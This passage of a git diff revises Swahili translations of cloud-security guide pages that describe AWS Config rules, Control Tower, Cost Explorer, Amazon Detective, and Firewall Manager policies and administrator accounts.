zote zinazoungwa mkono. +**Picha za Usanidi**: Vipengele vya usanidi vinatumika kuunda picha ya wakati wa mabadiliko ya rasilimali zote zinazoungwa mkono. **S3 inatumika kuhifadhi** faili za Historia ya Usanidi na picha zozote za Usanidi za data yako ndani ya ndoo moja, ambayo inafafanuliwa ndani ya rekoda ya usanidi. Ikiwa una akaunti nyingi za AWS unaweza kutaka kuunganisha faili zako za historia ya usanidi ndani ya ndoo moja ya S3 kwa akaunti yako kuu. Hata hivyo, utahitaji kutoa ruhusa ya kuandika kwa kanuni hii ya huduma, config.amazonaws.com, na akaunti zako za sekondari zikiwa na ruhusa ya kuandika kwenye ndoo ya S3 katika akaunti yako kuu. @@ -27,18 +27,18 @@ Kipengele cha usanidi au **CI** kama inavyojulikana, ni sehemu muhimu ya AWS Con - Wakati unafanya mabadiliko, kwa mfano kwa kundi la usalama au orodha ya udhibiti wa ufikiaji wa ndoo —> itawasha kama Tukio lililochukuliwa na AWS Config - Huhifadhi kila kitu kwenye ndoo ya S3 - Kulingana na mipangilio, mara tu kitu kinapobadilika kinaweza kuanzisha kazi ya lambda AU kupanga kazi ya lambda kuangalia mara kwa mara mipangilio ya AWS Config -- Lambda inarudisha nyuma kwa Config +- Lambda inarudisha taarifa kwa Config - Ikiwa sheria imevunjwa, Config inawasha SNS ![](<../../../../images/image (126).png>) -### Sheria za Config +### Config Rules Sheria za Config ni njia nzuri ya kukusaidia **kuimarisha ukaguzi maalum wa ufuatiliaji** **na udhibiti katika rasilimali zako**, na inakuwezesha kupitisha spesifikesheni bora ya kutekeleza kwa kila aina ya rasilimali zako. Kila sheria **kimsingi ni kazi ya lambda** ambayo inapoitwa inakagua rasilimali na inatekeleza mantiki rahisi ili kubaini matokeo ya ufuatiliaji kwa sheria hiyo. **Kila wakati mabadiliko yanapofanywa** kwa moja ya rasilimali zako zinazoungwa mkono, **AWS Config itakagua ufuatiliaji dhidi ya sheria zozote za config ambazo umeweka**.\ -AWS ina sheria kadhaa **zilizowekwa awali** ambazo ziko chini ya kivuli cha usalama ambazo ziko tayari kutumika. Kwa mfano, Rds-storage-encrypted. Hii inakagua ikiwa usimbaji wa kuhifadhi umewezeshwa na mifano yako ya RDS. Encrypted-volumes. Hii inakagua kuona ikiwa kuna EBS volumes zozote ambazo zina hali iliyoambatanishwa zimeandikwa. +AWS ina sheria kadhaa za **zilizowekwa awali** ambazo ziko chini ya kivuli cha usalama ambazo ziko tayari kutumika. Kwa mfano, Rds-storage-encrypted. Hii inakagua ikiwa usimbaji wa kuhifadhi umewezeshwa na mifano yako ya RDS. Encrypted-volumes. Hii inakagua kuona ikiwa kuna EBS volumes zozote ambazo zina hali iliyoambatanishwa zimewekwa usimbaji. -- **Sheria za AWS Zinasimamiwa**: Seti ya sheria zilizowekwa awali ambazo zinashughulikia mazoea bora mengi, hivyo kila wakati inafaa kuangalia sheria hizi kwanza kabla ya kuweka zako mwenyewe kwani kuna nafasi kwamba sheria hiyo inaweza tayari kuwepo. -- **Sheria za Kijadi**: Unaweza kuunda sheria zako mwenyewe kuangalia usanidi maalum wa kawaida. +- **Sheria za AWS Zinasimamiwa**: Seti ya sheria zilizowekwa awali ambazo zinashughulikia mazoea bora mengi, hivyo kila wakati ni vyema kuangalia sheria hizi kwanza kabla ya kuweka zako mwenyewe kwani kuna uwezekano kwamba sheria hiyo inaweza tayari kuwepo. +- **Sheria za Kijadi**: Unaweza kuunda sheria zako mwenyewe ili kuangalia usanidi maalum. Kikomo cha sheria 50 za config kwa kila eneo kabla ya kuhitaji kuwasiliana na AWS kwa kuongeza.\ Matokeo yasiyofuata sheria hayatatolewa. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 81b38453b..243a6f416 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -7,15 +7,15 @@ > [!NOTE] > Kwa muhtasari, Control Tower ni huduma inayoruhusu kufafanua sera kwa ajili ya akaunti zako zote ndani ya shirika lako. Hivyo badala ya kusimamia kila moja, unaweza kuweka sera kutoka Control Tower ambazo zitawekwa kwenye hizo. -AWS Control Tower ni **huduma inayotolewa na Amazon Web Services (AWS)** inayowezesha mashirika kuanzisha na kusimamia mazingira salama, yanayokidhi vigezo, ya akaunti nyingi katika AWS. +AWS Control Tower ni **huduma inayotolewa na Amazon Web Services (AWS)** inayowezesha mashirika kuanzisha na kusimamia mazingira salama, yanayokidhi vigezo, vya akaunti nyingi katika AWS. -AWS Control Tower inatoa **seti iliyopangwa ya mipango bora ya mazoea** ambayo inaweza kubadilishwa ili kukidhi **mahitaji maalum ya shirika**. Mipango hii inajumuisha huduma na vipengele vya AWS vilivyowekwa tayari, kama vile AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, na AWS Service Catalog. +AWS Control Tower inatoa **seti iliyopangwa ya mipango bora ya mazoea** ambayo inaweza kubadilishwa ili kukidhi **mahitaji ya shirika** maalum. Mipango hii inajumuisha huduma na vipengele vya AWS vilivyowekwa tayari, kama vile AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, na AWS Service Catalog. -Kwa AWS Control Tower, wasimamizi wanaweza haraka kuanzisha **mazingira ya akaunti nyingi yanayokidhi mahitaji ya shirika**, kama vile **usalama** na ufuatiliaji. Huduma hii inatoa dashibodi kuu ya kutazama na kusimamia akaunti na rasilimali, na pia inafanya kiotomatiki utoaji wa akaunti, huduma, na sera. +Kwa kutumia AWS Control Tower, wasimamizi wanaweza haraka kuanzisha **mazingira ya akaunti nyingi yanayokidhi mahitaji ya shirika**, kama vile **usalama** na ufuatiliaji. Huduma hii inatoa dashibodi kuu ya kutazama na kusimamia akaunti na rasilimali, na pia inafanya kiotomatiki utoaji wa akaunti, huduma, na sera. Zaidi ya hayo, AWS Control Tower inatoa guardrails, ambazo ni seti ya sera zilizowekwa tayari zinazohakikisha mazingira yanabaki yanakidhi mahitaji ya shirika. Sera hizi zinaweza kubadilishwa ili kukidhi mahitaji maalum. -Kwa ujumla, AWS Control Tower inarahisisha mchakato wa kuanzisha na kusimamia mazingira salama, yanayokidhi vigezo, ya akaunti nyingi katika AWS, na kuifanya iwe rahisi kwa mashirika kuzingatia malengo yao makuu ya biashara. +Kwa ujumla, AWS Control Tower inarahisisha mchakato wa kuanzisha na kusimamia mazingira salama, yanayokidhi vigezo, vya akaunti nyingi katika AWS, na kuifanya iwe rahisi kwa mashirika kuzingatia malengo yao makuu ya biashara. ### Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 21821f83f..423e878d7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -4,7 +4,7 @@ ## Cost Explorer na Ugunduzi wa Anomalies -Hii inakuwezesha kuangalia **jinsi unavyotumia pesa katika huduma za AWS** na inakusaidia **kubaini anomalies**.\ +Hii inakuwezesha kuangalia **jinsi unavyotumia pesa katika huduma za AWS** na kusaidia **kubaini anomalies**.\ Zaidi ya hayo, unaweza kuunda ugunduzi wa anomalies ili AWS ikujulishe wakati **anomaly katika gharama inapatikana**. ### Bajeti diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 3b2b3923b..e9a899a50 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** inarahisisha mchakato wa uchunguzi wa usalama, na kufanya iwe rahisi zaidi **kuchambua, kuchunguza, na kubaini sababu ya msingi** ya matatizo ya usalama au shughuli zisizo za kawaida. Inafanya kazi ya kukusanya data za logi kutoka kwa rasilimali za AWS na inatumia **ujifunzaji wa mashine, uchambuzi wa takwimu, na nadharia ya grafu** kujenga seti ya data iliyounganishwa. Mpangilio huu unaboresha sana kasi na ufanisi wa uchunguzi wa usalama. +**Amazon Detective** inarahisisha mchakato wa uchunguzi wa usalama, na kufanya iwe rahisi zaidi **kuchambua, kuchunguza, na kubaini chanzo cha msingi** cha matatizo ya usalama au shughuli zisizo za kawaida. Inafanya kazi ya kukusanya data za logi kutoka kwa rasilimali za AWS na inatumia **ujifunzaji wa mashine, uchambuzi wa takwimu, na nadharia ya grafu** kujenga seti ya data iliyounganishwa. Mpangilio huu unaboresha sana kasi na ufanisi wa uchunguzi wa usalama. -Huduma hii inarahisisha uchunguzi wa kina wa matukio ya usalama, ikiruhusu timu za usalama kuelewa na kushughulikia haraka sababu za msingi za matatizo. Amazon Detective inachambua kiasi kikubwa cha data kutoka vyanzo kama VPC Flow Logs, AWS CloudTrail, na Amazon GuardDuty. Inazalisha kiotomatiki **mtazamo wa kina, wa mwingiliano wa rasilimali, watumiaji, na mwingiliano wao kwa muda**. Mtazamo huu uliounganishwa unatoa maelezo na muktadha wote muhimu mahali pamoja, ikiruhusu timu kubaini sababu za matokeo ya usalama, kuchunguza shughuli za kihistoria zinazohusiana, na kubaini haraka sababu ya msingi. +Huduma hii inarahisisha uchunguzi wa kina wa matukio ya usalama, ikiruhusu timu za usalama kuelewa na kushughulikia haraka sababu za msingi za matatizo. Amazon Detective inachambua kiasi kikubwa cha data kutoka vyanzo kama VPC Flow Logs, AWS CloudTrail, na Amazon GuardDuty. Inajenga moja kwa moja **mtazamo wa kina, wa mwingiliano wa rasilimali, watumiaji, na mwingiliano wao kwa muda**. Mtazamo huu uliounganishwa unatoa maelezo yote muhimu na muktadha mahali pamoja, ikiruhusu timu kubaini sababu za matokeo ya usalama, kuchunguza shughuli za kihistoria zinazohusiana, na kubaini haraka chanzo cha msingi. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index cce6e5eab..7caa749ca 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,29 +4,29 @@ ## Firewall Manager -**AWS Firewall Manager** inarahisisha usimamizi na matengenezo ya **AWS WAF, AWS Shield Advanced, vikundi vya usalama vya Amazon VPC na Orodha za Udhibiti wa Upatikanaji wa Mtandao (ACLs), na AWS Network Firewall, AWS Route 53 Resolver DNS Firewall na firewalls za wahusika wengine** katika akaunti na rasilimali nyingi. Inakuwezesha kufafanua sheria za firewall yako, ulinzi wa Shield Advanced, vikundi vya usalama vya VPC, na mipangilio ya Network Firewall mara moja, huku huduma hiyo **ikiweka sheria na ulinzi huu kiotomatiki katika akaunti na rasilimali zako**, ikiwa ni pamoja na zile zilizoongezwa hivi karibuni. +**AWS Firewall Manager** inarahisisha usimamizi na matengenezo ya **AWS WAF, AWS Shield Advanced, vikundi vya usalama vya Amazon VPC na Orodha za Udhibiti wa Upatikanaji wa Mtandao (ACLs), na AWS Network Firewall, AWS Route 53 Resolver DNS Firewall na firewalls za wahusika wengine** katika akaunti na rasilimali nyingi. Inakuruhusu kuunda sheria za firewall, ulinzi wa Shield Advanced, vikundi vya usalama vya VPC, na mipangilio ya Network Firewall mara moja, huku huduma hiyo **ikiweka sheria na ulinzi hizi kiotomatiki katika akaunti na rasilimali zako**, ikiwa ni pamoja na zile zilizoongezwa hivi karibuni. Huduma hii inatoa uwezo wa **kundi na kulinda rasilimali maalum pamoja**, kama zile zinazoshiriki lebo ya kawaida au usambazaji wako wote wa CloudFront. Faida kubwa ya Firewall Manager ni uwezo wake wa **kupanua ulinzi kiotomatiki kwa rasilimali zilizoongezwa hivi karibuni** katika akaunti yako. **Kikundi cha sheria** (mkusanyiko wa sheria za WAF) kinaweza kuunganishwa katika Sera ya AWS Firewall Manager, ambayo kisha inahusishwa na rasilimali maalum za AWS kama vile usambazaji wa CloudFront au balancer za mzigo wa programu. -AWS Firewall Manager inatoa **orodha za programu na protokali zinazodhibitiwa** ili kurahisisha usanidi na usimamizi wa sera za vikundi vya usalama. Orodha hizi zinakuwezesha kufafanua protokali na programu zinazoruhusiwa au kukataliwa na sera zako. Kuna aina mbili za orodha zinazodhibitiwa: +AWS Firewall Manager inatoa **orodha za programu na protokali zinazodhibitiwa** ili kurahisisha usanidi na usimamizi wa sera za vikundi vya usalama. Orodha hizi zinakuruhusu kufafanua protokali na programu zinazoruhusiwa au kukataliwa na sera zako. Kuna aina mbili za orodha zinazodhibitiwa: -- **Orodha zinazodhibitiwa na Firewall Manager**: Orodha hizi zinajumuisha **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** na **FMS-Default-Protocols-Allowed**. Zinadhibitiwa na Firewall Manager na zinajumuisha programu na protokali zinazotumika mara kwa mara ambazo zinapaswa kuruhusiwa au kukataliwa kwa umma kwa ujumla. Haiwezekani kuhariri au kufuta, hata hivyo, unaweza kuchagua toleo lake. -- **Orodha za kawaida zinazodhibitiwa**: Unazisimamia orodha hizi mwenyewe. Unaweza kuunda orodha za programu na protokali za kawaida zinazofaa mahitaji ya shirika lako. Tofauti na orodha zinazodhibitiwa na Firewall Manager, orodha hizi hazina matoleo, lakini una udhibiti kamili juu ya orodha za kawaida, na kukuruhusu kuunda, kuhariri, na kufuta kama inavyohitajika. +- **Orodha zinazodhibitiwa na Firewall Manager**: Orodha hizi zinajumuisha **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** na **FMS-Default-Protocols-Allowed**. Zinadhibitiwa na Firewall Manager na zinajumuisha programu na protokali zinazotumika mara kwa mara ambazo zinapaswa kuruhusiwa au kukataliwa kwa umma. Haiwezekani kuhariri au kufuta, hata hivyo, unaweza kuchagua toleo lake. +- **Orodha zinazodhibitiwa za kawaida**: Unazisimamia orodha hizi mwenyewe. Unaweza kuunda orodha za programu na protokali za kawaida zinazofaa mahitaji ya shirika lako. Tofauti na orodha zinazodhibitiwa na Firewall Manager, orodha hizi hazina matoleo, lakini una udhibiti kamili juu ya orodha za kawaida, na kukuruhusu kuunda, kuhariri, na kufuta kadri inavyohitajika. Ni muhimu kutambua kwamba **sera za Firewall Manager zinaruhusu tu vitendo vya "Block" au "Count"** kwa kikundi cha sheria, bila chaguo la "Allow". ### Prerequisites -Hatua zifuatazo za awali lazima zikamilishwe kabla ya kuendelea na usanidi wa Firewall Manager ili kuanza kulinda rasilimali za shirika lako kwa ufanisi. Hatua hizi zinatoa usanidi wa msingi unaohitajika kwa Firewall Manager kutekeleza sera za usalama na kuhakikisha kufuata sheria katika mazingira yako ya AWS: +Hatua zifuatazo za awali lazima zikamilishwe kabla ya kuendelea kuunda Firewall Manager ili kuanza kulinda rasilimali za shirika lako kwa ufanisi. Hatua hizi zinatoa usanidi wa msingi unaohitajika kwa Firewall Manager kutekeleza sera za usalama na kuhakikisha kufuata sheria katika mazingira yako ya AWS: -1. **Jiunge na usanidi wa AWS Organizations:** Hakikisha akaunti yako ya AWS ni sehemu ya shirika la AWS Organizations ambapo sera za AWS Firewall Manager zinapangwa kutekelezwa. Hii inaruhusu usimamizi wa kati wa rasilimali na sera katika akaunti nyingi za AWS ndani ya shirika. -2. **Unda Akaunti ya Msimamizi wa Default wa AWS Firewall Manager:** Kuanzisha akaunti ya msimamizi wa default mahsusi kwa usimamizi wa sera za usalama za Firewall Manager. Akaunti hii itakuwa na jukumu la kufafanua na kutekeleza sera za usalama katika shirika. Ni akaunti ya usimamizi ya shirika pekee inayoweza kuunda akaunti za msimamizi wa default wa Firewall Manager. +1. **Jiunge na usanidi AWS Organizations:** Hakikisha akaunti yako ya AWS ni sehemu ya shirika la AWS Organizations ambapo sera za AWS Firewall Manager zinapangwa kutekelezwa. Hii inaruhusu usimamizi wa kati wa rasilimali na sera katika akaunti nyingi za AWS ndani ya shirika. +2. **Unda Akaunti ya Msimamizi wa Default ya AWS Firewall Manager:** Kuanzisha akaunti ya msimamizi wa default mahsusi kwa usimamizi wa sera za usalama za Firewall Manager. Akaunti hii itakuwa na jukumu la kuunda na kutekeleza sera za usalama katika shirika. Ni akaunti ya usimamizi ya shirika pekee inayoweza kuunda akaunti za msimamizi wa default za Firewall Manager. 3. **Washa AWS Config:** Washa AWS Config ili kutoa Firewall Manager na data na maarifa muhimu ya usanidi yanayohitajika kutekeleza sera za usalama kwa ufanisi. AWS Config husaidia kuchambua, kukagua, kufuatilia na kukagua usanidi wa rasilimali na mabadiliko, ikirahisisha usimamizi bora wa usalama. 4. **Kwa Sera za Wahusika Wengine, Jiandikishe katika Soko la AWS na Usanidi Mipangilio ya Wahusika Wengine:** Ikiwa unatarajia kutumia sera za firewall za wahusika wengine, jiandikishe kwao katika Soko la AWS na usanidi mipangilio inayohitajika. Hatua hii inahakikisha kwamba Firewall Manager inaweza kuunganishwa na kutekeleza sera kutoka kwa wauzaji wa wahusika wengine wanaoaminika. 5. **Kwa Sera za Network Firewall na DNS Firewall, wezesha ushirikiano wa rasilimali:** Wezesha ushirikiano wa rasilimali mahsusi kwa sera za Network Firewall na DNS Firewall. Hii inaruhusu Firewall Manager kutekeleza ulinzi wa firewall kwa VPC za shirika lako na ufumbuzi wa DNS, ikiongeza usalama wa mtandao. -6. **Ili kutumia AWS Firewall Manager katika Mikoa ambayo zimezimwa kwa chaguo-msingi:** Ikiwa unakusudia kutumia Firewall Manager katika mikoa ya AWS ambayo zimezimwa kwa chaguo-msingi, hakikisha unachukua hatua zinazohitajika ili kuwezesha kazi yake katika mikoa hiyo. Hii inahakikisha utekelezaji wa usalama unaofanana katika mikoa yote ambapo shirika lako linafanya kazi. +6. **Ili kutumia AWS Firewall Manager katika Mikoa ambayo zimezimwa kwa chaguo-msingi:** Ikiwa unakusudia kutumia Firewall Manager katika mikoa ya AWS ambayo zimezimwa kwa chaguo-msingi, hakikisha unachukua hatua zinazohitajika ili kuwezesha kazi yake katika mikoa hiyo. Hii inahakikisha utekelezaji wa usalama unaoendelea katika mikoa yote ambapo shirika lako linafanya kazi. Kwa maelezo zaidi, angalia: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). @@ -34,46 +34,46 @@ Kwa maelezo zaidi, angalia: [Getting started with AWS Firewall Manager AWS WAF p AWS Firewall Manager inasimamia aina kadhaa za sera ili kutekeleza udhibiti wa usalama katika nyanja tofauti za miundombinu ya shirika lako: -1. **AWS WAF Policy:** Aina hii ya sera inasaidia AWS WAF na AWS WAF Classic. Unaweza kufafanua ni rasilimali zipi zinazolindwa na sera hiyo. Kwa sera za AWS WAF, unaweza kufafanua seti za vikundi vya sheria kuendesha kwanza na mwisho katika ACL ya wavuti. Aidha, wamiliki wa akaunti wanaweza kuongeza sheria na vikundi vya sheria kuendesha kati ya seti hizi. -2. **Shield Advanced Policy:** Sera hii inatumika kwa ulinzi wa Shield Advanced katika shirika lako kwa aina maalum za rasilimali. Inasaidia kulinda dhidi ya mashambulizi ya DDoS na vitisho vingine. -3. **Amazon VPC Security Group Policy:** Kwa sera hii, unaweza kusimamia vikundi vya usalama vinavyotumika katika shirika lako, ukitekeleza seti ya msingi ya sheria katika mazingira yako ya AWS ili kudhibiti upatikanaji wa mtandao. -4. **Amazon VPC Network Access Control List (ACL) Policy:** Aina hii ya sera inakupa udhibiti juu ya ACL za mtandao zinazotumika katika shirika lako, ikiruhusu kutekeleza seti ya msingi ya ACL za mtandao katika mazingira yako ya AWS. -5. **Network Firewall Policy:** Sera hii inatumika kwa ulinzi wa AWS Network Firewall kwa VPC za shirika lako, ikiongeza usalama wa mtandao kwa kuchuja trafiki kulingana na sheria zilizowekwa. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** Sera hii inatumika kwa ulinzi wa DNS Firewall kwa VPC za shirika lako, ikisaidia kuzuia majaribio ya kutatua majina mabaya na kutekeleza sera za usalama kwa trafiki ya DNS. -7. **Third-Party Firewall Policy:** Aina hii ya sera inatumika kwa ulinzi kutoka kwa firewalls za wahusika wengine, ambazo zinapatikana kwa usajili kupitia console ya Soko la AWS. Inakuruhusu kuunganisha hatua za ziada za usalama kutoka kwa wauzaji wanaoaminika katika mazingira yako ya AWS. -1. **Palo Alto Networks Cloud NGFW Policy:** Sera hii inatumika kwa ulinzi wa Palo Alto Networks Cloud Next Generation Firewall (NGFW) na seti za sheria kwa VPC za shirika lako, ikitoa kinga ya juu dhidi ya vitisho na udhibiti wa usalama wa kiwango cha programu. -2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** Sera hii inatumika kwa ulinzi wa Fortigate Cloud Native Firewall (CNF) kama Huduma, ikitoa kinga ya kiwango cha juu dhidi ya vitisho, firewall ya programu ya wavuti (WAF), na ulinzi wa API ulioandaliwa kwa miundombinu ya wingu. +1. **Sera ya AWS WAF:** Aina hii ya sera inasaidia AWS WAF na AWS WAF Classic. Unaweza kufafanua ni rasilimali zipi zinazolindwa na sera hiyo. Kwa sera za AWS WAF, unaweza kufafanua seti za vikundi vya sheria ambazo zitakimbia kwanza na mwisho katika web ACL. Aidha, wamiliki wa akaunti wanaweza kuongeza sheria na vikundi vya sheria kukimbia kati ya seti hizi. +2. **Sera ya Shield Advanced:** Sera hii inatumika kwa ulinzi wa Shield Advanced katika shirika lako kwa aina maalum za rasilimali. Inasaidia kulinda dhidi ya mashambulizi ya DDoS na vitisho vingine. +3. **Sera ya Vikundi vya Usalama vya Amazon VPC:** Kwa sera hii, unaweza kusimamia vikundi vya usalama vinavyotumika katika shirika lako, ukitekeleza seti ya msingi ya sheria katika mazingira yako ya AWS ili kudhibiti upatikanaji wa mtandao. +4. **Sera ya Orodha ya Udhibiti wa Upatikanaji wa Mtandao wa Amazon VPC (ACL):** Aina hii ya sera inakupa udhibiti juu ya ACLs za mtandao zinazotumika katika shirika lako, ikiruhusu kutekeleza seti ya msingi ya ACLs za mtandao katika mazingira yako ya AWS. +5. **Sera ya Network Firewall:** Sera hii inatumika kwa ulinzi wa AWS Network Firewall kwa VPC za shirika lako, ikiongeza usalama wa mtandao kwa kuchuja trafiki kulingana na sheria zilizowekwa. +6. **Sera ya Amazon Route 53 Resolver DNS Firewall:** Sera hii inatumika kwa ulinzi wa DNS Firewall kwa VPC za shirika lako, ikisaidia kuzuia majaribio ya kutatua majina mabaya na kutekeleza sera za usalama kwa trafiki ya DNS. +7. **Sera ya Firewall ya Wahusika Wengine:** Aina hii ya sera inatumika kwa ulinzi kutoka kwa firewalls za wahusika wengine, ambazo zinapatikana kwa usajili kupitia console ya Soko la AWS. Inaruhusu kuunganisha hatua za ziada za usalama kutoka kwa wauzaji wanaoaminika katika mazingira yako ya AWS. +1. **Sera ya Palo Alto Networks Cloud NGFW:** Sera hii inatumika kwa ulinzi wa Palo Alto Networks Cloud Next Generation Firewall (NGFW) na seti za sheria kwa VPC za shirika lako, ikitoa kinga ya juu dhidi ya vitisho na udhibiti wa usalama wa kiwango cha programu. +2. **Sera ya Fortigate Cloud Native Firewall (CNF) kama Huduma:** Sera hii inatumika kwa ulinzi wa Fortigate Cloud Native Firewall (CNF) kama Huduma, ikitoa kinga ya juu dhidi ya vitisho, firewall ya programu ya wavuti (WAF), na ulinzi wa API ulioandaliwa kwa miundombinu ya wingu. ### Administrator accounts AWS Firewall Manager inatoa kubadilika katika usimamizi wa rasilimali za firewall ndani ya shirika lako kupitia upeo wake wa usimamizi na aina mbili za akaunti za wasimamizi. -**Upeo wa usimamizi unafafanua rasilimali ambazo msimamizi wa Firewall Manager anaweza kusimamia**. Baada ya akaunti ya usimamizi ya AWS Organizations kuingiza shirika katika Firewall Manager, inaweza kuunda wasimamizi wengine wenye upeo tofauti wa usimamizi. Upeo huu unaweza kujumuisha: +**Upeo wa usimamizi unafafanua rasilimali ambazo msimamizi wa Firewall Manager anaweza kusimamia**. Baada ya akaunti ya usimamizi ya AWS Organizations kuanzisha shirika kwa Firewall Manager, inaweza kuunda wasimamizi wengine wenye upeo tofauti wa usimamizi. Upeo huu unaweza kujumuisha: - Akaunti au vitengo vya shirika (OUs) ambavyo msimamizi anaweza kutekeleza sera. - Mikoa ambapo msimamizi anaweza kufanya vitendo. - Aina za sera za Firewall Manager ambazo msimamizi anaweza kusimamia. -Upeo wa usimamizi unaweza kuwa **kamili au mdogo**. Upeo kamili unampa msimamizi ufikiaji wa **aina zote za rasilimali zilizofafanuliwa, mikoa, na aina za sera**. Kinyume chake, **upeo mdogo unatoa ruhusa ya usimamizi kwa sehemu tu ya rasilimali, mikoa, au aina za sera**. Ni vyema kuwapa wasimamizi ruhusa tu wanazohitaji ili kutimiza majukumu yao kwa ufanisi. Unaweza kutumia mchanganyiko wowote wa masharti haya ya upeo wa usimamizi kwa msimamizi, kuhakikisha kufuata kanuni ya ruhusa ndogo. +Upeo wa usimamizi unaweza kuwa **kamili au mdogo**. Upeo kamili unampa msimamizi ufikiaji wa **aina zote za rasilimali zilizotajwa, mikoa, na aina za sera**. Kinyume chake, **upeo mdogo unatoa ruhusa ya usimamizi kwa sehemu tu ya rasilimali, mikoa, au aina za sera**. Ni vyema kuwapa wasimamizi ruhusa tu wanazohitaji ili kutimiza majukumu yao kwa ufanisi. Unaweza kutumia mchanganyiko wowote wa masharti haya ya upeo wa usimamizi kwa msimamizi, kuhakikisha kufuata kanuni ya ruhusa ndogo. Kuna aina mbili tofauti za akaunti za wasimamizi, kila moja ikihudumia majukumu na wajibu maalum: - **Msimamizi wa Default:** -- Akaunti ya msimamizi wa default inaundwa na akaunti ya usimamizi ya shirika la AWS Organizations wakati wa mchakato wa kuingiza katika Firewall Manager. +- Akaunti ya msimamizi wa default inaundwa na akaunti ya usimamizi ya shirika la AWS Organizations wakati wa mchakato wa kuanzisha Firewall Manager. - Akaunti hii ina uwezo wa kusimamia firewalls za wahusika wengine na ina upeo kamili wa usimamizi. -- Inatumika kama akaunti kuu ya msimamizi wa Firewall Manager, yenye jukumu la kufafanua na kutekeleza sera za usalama katika shirika. -- Ingawa msimamizi wa default ana ufikiaji kamili wa aina zote za rasilimali na kazi za usimamizi, inafanya kazi katika kiwango sawa na wasimamizi wengine ikiwa wasimamizi wengi wanatumika ndani ya shirika. +- Inatumika kama akaunti ya msingi ya msimamizi wa Firewall Manager, yenye jukumu la kuunda na kutekeleza sera za usalama katika shirika. +- Ingawa msimamizi wa default ana ufikiaji kamili wa aina zote za rasilimali na kazi za usimamizi, inafanya kazi kwa kiwango sawa na wasimamizi wengine ikiwa wasimamizi wengi wanatumika ndani ya shirika. - **Wasimamizi wa Firewall Manager:** - Wasimamizi hawa wanaweza kusimamia rasilimali ndani ya upeo ulioainishwa na akaunti ya usimamizi ya AWS Organizations, kama ilivyoainishwa na usanidi wa upeo wa usimamizi. -- Wasimamizi wa Firewall Manager wanaanzishwa kutimiza majukumu maalum ndani ya shirika, wakiruhusu ugawaji wa majukumu huku wakihifadhi viwango vya usalama na kufuata sheria. -- Mara baada ya kuundwa, Firewall Manager inakagua na AWS Organizations ili kubaini ikiwa akaunti tayari ni msimamizi aliyepewa. Ikiwa sivyo, Firewall Manager inaita Organizations ili kuainisha akaunti hiyo kama msimamizi aliyepewa kwa Firewall Manager. +- Wasimamizi wa Firewall Manager wanaanzishwa ili kutimiza majukumu maalum ndani ya shirika, wakiruhusu ugawaji wa majukumu huku wakihifadhi viwango vya usalama na kufuata sheria. +- Mara baada ya kuanzishwa, Firewall Manager inakagua na AWS Organizations ili kubaini ikiwa akaunti tayari ni msimamizi aliyepewa. Ikiwa sivyo, Firewall Manager inaita Organizations ili kuainisha akaunti hiyo kama msimamizi aliyepewa kwa Firewall Manager. -Kusimamia akaunti hizi za wasimamizi kunahusisha kuziunda ndani ya Firewall Manager na kufafanua upeo wao wa usimamizi kulingana na mahitaji ya usalama ya shirika na kanuni ya ruhusa ndogo. Kwa kupewa majukumu sahihi ya usimamizi, mashirika yanaweza kuhakikisha usimamizi bora wa usalama huku yakihifadhi udhibiti wa kina juu ya ufikiaji wa rasilimali nyeti. +Kusimamia akaunti hizi za wasimamizi kunahusisha kuziunda ndani ya Firewall Manager na kufafanua upeo wao wa usimamizi kulingana na mahitaji ya usalama ya shirika na kanuni ya ruhusa ndogo. Kwa kutoa majukumu sahihi ya usimamizi, mashirika yanaweza kuhakikisha usimamizi bora wa usalama huku yakihifadhi udhibiti wa kina juu ya ufikiaji wa rasilimali nyeti. -Ni muhimu kusisitiza kwamba **akaunti moja tu ndani ya shirika inaweza kutumikia kama msimamizi wa default wa Firewall Manager**, ikifuata kanuni ya "**wa kwanza kuingia, wa mwisho kutoka**". Ili kuainisha msimamizi mpya wa default, mfululizo wa hatua lazima uzingatiwe: +Ni muhimu kusisitiza kwamba **akaunti moja tu ndani ya shirika inaweza kutumikia kama msimamizi wa default wa Firewall Manager**, ikifuatia kanuni ya "**wa kwanza kuingia, wa mwisho kutoka**". Ili kuainisha msimamizi mpya wa default, mfululizo wa hatua lazima uzingatiwe: -- Kwanza, kila akaunti ya msimamizi wa Firewall Administrator lazima ifute akaunti yao wenyewe. -- Kisha, msimamizi wa default aliyepo anaweza kufuta akaunti yao wenyewe, kwa ufanisi ikiondoa shirika kutoka Firewall Manager. 